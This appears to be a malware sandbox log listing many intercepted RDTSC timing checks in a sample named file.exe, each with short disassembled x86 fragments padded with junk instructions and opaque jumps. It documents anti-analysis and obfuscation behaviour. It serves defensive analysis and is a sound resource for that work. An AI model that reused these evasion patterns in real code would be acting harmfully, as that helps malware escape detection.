Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FDF7 second address: 11BFA63 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F3CD87760F5h 0x0000000e popad 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 jmp 00007F3CD87760F2h 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b jmp 00007F3CD87760EBh 0x00000020 pop eax 0x00000021 push dword ptr [ebp+122D1679h] 0x00000027 mov dword ptr [ebp+122D1AB9h], esi 0x0000002d call dword ptr [ebp+122D25DFh] 0x00000033 pushad 0x00000034 pushad 0x00000035 sub ch, FFFFFF90h 0x00000038 xor dword ptr [ebp+122D2458h], ebx 0x0000003e popad 0x0000003f xor eax, eax 0x00000041 sub dword ptr [ebp+122D25FDh], eax 0x00000047 mov edx, dword ptr [esp+28h] 0x0000004b sub dword ptr [ebp+122D2458h], ebx 0x00000051 mov dword ptr [ebp+122D38A4h], eax 0x00000057 mov dword ptr [ebp+122D25FDh], edx 0x0000005d mov esi, 0000003Ch 0x00000062 jmp 00007F3CD87760F5h 0x00000067 jmp 00007F3CD87760F7h 0x0000006c add esi, dword ptr [esp+24h] 0x00000070 mov dword ptr [ebp+122D25FDh], esi 0x00000076 lodsw 0x00000078 or dword ptr [ebp+122D2DEFh], edi 0x0000007e add eax, dword ptr [esp+24h] 0x00000082 jmp 00007F3CD87760F9h 0x00000087 mov ebx, dword ptr [esp+24h] 0x0000008b cmc 0x0000008c nop 0x0000008d jl 00007F3CD87760EEh 0x00000093 jg 00007F3CD87760E8h 0x00000099 push eax 0x0000009a push eax 0x0000009b push edx 0x0000009c jmp 00007F3CD87760F1h 0x000000a1 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FEC9 second address: 133FEE5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3CD8C3C7DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007F3CD8C3C7D6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FEE5 second address: 133FEEF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3CD87760E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FEEF second address: 133FF1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F3CD8C3C7E0h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3CD8C3C7E2h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FF1F second address: 133FF24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FF24 second address: 133FF55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov edi, dword ptr [ebp+122D1F4Ch] 0x00000010 push 00000003h 0x00000012 mov dh, cl 0x00000014 push 00000000h 0x00000016 mov ecx, dword ptr [ebp+122D37C0h] 0x0000001c push 00000003h 0x0000001e mov dword ptr [ebp+122D358Dh], eax 0x00000024 call 00007F3CD8C3C7D9h 0x00000029 push edi 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FF55 second address: 133FF5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FF5B second address: 133FF7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3CD8C3C7E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FF7B second address: 133FF98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD87760F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F3CD87760E6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FF98 second address: 133FFA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FFA9 second address: 133FFFF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3CD87760E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jbe 00007F3CD87760F0h 0x00000012 pushad 0x00000013 push eax 0x00000014 pop eax 0x00000015 ja 00007F3CD87760E6h 0x0000001b popad 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 jne 00007F3CD87760F2h 0x00000026 pop eax 0x00000027 xor dl, FFFFFFD3h 0x0000002a lea ebx, dword ptr [ebp+12453CEEh] 0x00000030 ja 00007F3CD87760E8h 0x00000036 mov dword ptr [ebp+122D24FFh], edi 0x0000003c xchg eax, ebx 0x0000003d push esi 0x0000003e push eax 0x0000003f push edx 0x00000040 jnc 00007F3CD87760E6h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13400BE second address: 13400D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13400D0 second address: 13400D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13400D6 second address: 13400DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13401D9 second address: 13401DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13401DD second address: 1340227 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b jmp 00007F3CD8C3C7E3h 0x00000010 push 00000000h 0x00000012 add esi, dword ptr [ebp+122D1AB9h] 0x00000018 add dword ptr [ebp+122D2E11h], ebx 0x0000001e call 00007F3CD8C3C7D9h 0x00000023 push eax 0x00000024 push edx 0x00000025 jns 00007F3CD8C3C7D8h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1340227 second address: 134024B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jno 00007F3CD87760E6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F3CD87760EAh 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push ecx 0x00000017 jc 00007F3CD87760ECh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134024B second address: 13402A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov eax, dword ptr [eax] 0x00000007 push esi 0x00000008 jmp 00007F3CD8C3C7E7h 0x0000000d pop esi 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push esi 0x00000013 push esi 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pop esi 0x00000017 pop esi 0x00000018 pop eax 0x00000019 sub edx, dword ptr [ebp+122D3758h] 0x0000001f push 00000003h 0x00000021 mov esi, dword ptr [ebp+122D36E8h] 0x00000027 push 00000000h 0x00000029 mov esi, 27C17D31h 0x0000002e push 00000003h 0x00000030 pushad 0x00000031 sbb cx, 8752h 0x00000036 mov esi, dword ptr [ebp+122D1AB9h] 0x0000003c popad 0x0000003d push B6F40002h 0x00000042 push edx 0x00000043 pushad 0x00000044 pushad 0x00000045 popad 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13402A5 second address: 13402EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 xor dword ptr [esp], 76F40002h 0x0000000d pushad 0x0000000e mov eax, dword ptr [ebp+122D3734h] 0x00000014 mov edi, 4BDEC3E9h 0x00000019 popad 0x0000001a lea ebx, dword ptr [ebp+12453D02h] 0x00000020 call 00007F3CD87760ECh 0x00000025 pop esi 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F3CD87760F9h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135EB08 second address: 135EB0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F478 second address: 135F47C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F47C second address: 135F480 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F480 second address: 135F49E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3CD87760F8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F8C5 second address: 135F8CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F9FA second address: 135FA00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135FA00 second address: 135FA2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jl 00007F3CD8C3C7DCh 0x0000000d je 00007F3CD8C3C7DCh 0x00000013 jns 00007F3CD8C3C7D6h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push ecx 0x0000001d js 00007F3CD8C3C7D6h 0x00000023 push eax 0x00000024 pop eax 0x00000025 pop ecx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135FA2C second address: 135FA32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135FA32 second address: 135FA36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135FA36 second address: 135FA3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135FA3A second address: 135FA46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1354103 second address: 1354109 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1354109 second address: 135410D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135FD1E second address: 135FD24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135FD24 second address: 135FD2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135FD2A second address: 135FD44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3CD87760F6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135FD44 second address: 135FD66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3CD8C3C7E5h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1360435 second address: 1360442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13606B9 second address: 13606CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F3CD8C3C7DEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13606CF second address: 13606E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3CD87760EAh 0x00000009 popad 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13609F6 second address: 1360A1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F3CD8C3C7DFh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1360A1D second address: 1360A21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1336958 second address: 133697B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7E7h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b jnp 00007F3CD8C3C7D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1366E1D second address: 1366E21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1368661 second address: 1368667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132AD10 second address: 132AD17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132AD17 second address: 132AD1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132AD1D second address: 132AD3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007F3CD87760F4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136AE81 second address: 136AE9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7DFh 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F3CD8C3C7D6h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136B8A7 second address: 136B8C9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3CD87760E8h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3CD87760F4h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136B8C9 second address: 136B8CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136B8CD second address: 136B8D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136EEF8 second address: 136EEFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136F047 second address: 136F067 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD87760F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jo 00007F3CD87760F4h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136F067 second address: 136F06B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136F2FD second address: 136F30B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F3CD87760E6h 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136F47D second address: 136F49B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3CD8C3C7E9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136F5AC second address: 136F5B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136F5B3 second address: 136F5BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F3CD8C3C7D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136F661 second address: 136F666 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136FBAD second address: 136FBCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a js 00007F3CD8C3C7EFh 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007F3CD8C3C7D6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1370F83 second address: 1370F9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD87760F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1370E68 second address: 1370E6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1370F9D second address: 1371030 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F3CD87760F5h 0x0000000d nop 0x0000000e push esi 0x0000000f xor esi, 0A12D498h 0x00000015 pop edi 0x00000016 push 00000000h 0x00000018 jo 00007F3CD87760EEh 0x0000001e ja 00007F3CD87760E8h 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push edx 0x00000029 call 00007F3CD87760E8h 0x0000002e pop edx 0x0000002f mov dword ptr [esp+04h], edx 0x00000033 add dword ptr [esp+04h], 0000001Dh 0x0000003b inc edx 0x0000003c push edx 0x0000003d ret 0x0000003e pop edx 0x0000003f ret 0x00000040 mov dword ptr [ebp+122D2968h], edx 0x00000046 xchg eax, ebx 0x00000047 jmp 00007F3CD87760F5h 0x0000004c push eax 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F3CD87760F6h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1370E6C second address: 1370E76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1371030 second address: 1371034 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1370E76 second address: 1370E7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372B9F second address: 1372BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 jl 00007F3CD87760FAh 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372BC5 second address: 1372BC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1373591 second address: 13735A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3CD87760EEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13735A4 second address: 13735AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F3CD8C3C7D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137422D second address: 1374231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13735AE second address: 13735C0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3CD8C3C7D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1374231 second address: 1374235 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13735C0 second address: 13735C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1374235 second address: 137423B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13735C4 second address: 13735C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137423B second address: 1374257 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3CD87760EFh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1374257 second address: 137428D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a movsx esi, di 0x0000000d push 00000000h 0x0000000f jnl 00007F3CD8C3C7D6h 0x00000015 push 00000000h 0x00000017 sbb si, 32CAh 0x0000001c xchg eax, ebx 0x0000001d pushad 0x0000001e pushad 0x0000001f jo 00007F3CD8C3C7D6h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1374D9D second address: 1374DA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1375866 second address: 1375874 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1375874 second address: 137587A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13755FE second address: 1375603 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1374A99 second address: 1374A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137587A second address: 137588C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3CD8C3C7D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1374A9D second address: 1374AA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1375603 second address: 1375617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F3CD8C3C7D8h 0x00000012 rdtsc
